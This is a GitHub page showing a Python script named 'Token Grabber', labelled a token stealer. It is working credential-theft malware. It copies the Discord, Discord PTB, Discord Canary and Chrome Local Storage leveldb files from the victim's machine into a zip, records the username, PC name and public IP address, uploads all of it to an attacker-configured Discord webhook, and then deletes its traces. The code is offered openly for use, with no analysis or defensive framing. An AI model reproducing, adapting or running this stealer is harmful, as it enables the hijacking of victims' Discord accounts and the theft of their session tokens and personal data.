-
Notifications
You must be signed in to change notification settings - Fork 50
/
Token Grabber.py
97 lines (86 loc) · 2.52 KB
/
Token Grabber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# 1-28-19
# Project: Token Stealer
# Authors: DeadBread76 | Synchronocy
# IDLE 3.6.5 (32/64)
# Essentially uhh. no comment.
# requirements as follows.
import os
import sys
import shutil
import zipfile
from requests import get
from dhooks import Webhook, File
hook = Webhook('WEBHOOK HERE')
path = os.getenv('APPDATA')
localpath = os.getenv('LOCALAPPDATA')
user = os.getenv('username')
pc_name = os.environ['COMPUTERNAME']
temp_dir = localpath+"\\temp\\"
tokendir = path+"\\Discord\\Local Storage\\leveldb\\"
ptbtokendir = path+"\\discordptb\\Local Storage\\leveldb\\"
canarytokendir = path+"\\discordcanary\\Local Storage\\leveldb\\"
chromedir = localpath + "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\"
zipf = temp_dir+"logs.zip"
if os.path.isfile(temp_dir+"run.log"):
sys.exit()
ip = get('https://api.ipify.org').text
if os.path.isfile(zipf):
os.remove(zipf)
zip = zipfile.ZipFile(zipf,'a')
if os.path.isdir(tokendir):
discordinst = True
try:
for root, dirs, files in os.walk(tokendir):
for file in files:
zip.write(tokendir+file)
except Exception:
failed = True
else:
discordinst = False
if os.path.isdir(ptbtokendir):
ptbinst = True
try:
for root, dirs, files in os.walk(ptbtokendir):
for file in files:
zip.write(ptbtokendir+file)
except Exception:
ptbfailed = True
else:
ptbinst = False
if os.path.isdir(canarytokendir):
canaryinst = True
try:
for root, dirs, files in os.walk(canarytokendir):
for file in files:
zip.write(canarytokendir+file)
except Exception:
canaryfailed = True
else:
canaryinst = False
if os.path.isdir(chromedir):
chromeinst = True
try:
for root, dirs, files in os.walk(chromedir):
for file in files:
zip.write(chromedir+file)
except Exception:
chromefailed = True
else:
chromeinst = False
zip.close()
def main():
with open (temp_dir+"run.log", 'w+') as handle:
handle.write("Fatal Error.")
handle.close()
hook.send('```css\nToken Grabbed! \n\nUsername: '+str(user) + '\nPC Name: ' + pc_name + '\nIP Address: {}'.format(ip) +'\n\nZip File:```')
try:
hook.send(file = File(zipf, name=str(user)+" Logs.zip"))
except:
hook.send('```css\nThere was an error obtaining the zip.```')
if discordinst and ptbinst and canaryinst and chromeinst == False:
hook.send("```css\nUser had nothing installed```")
try:
os.remove(zipf)
except:
return ''
main()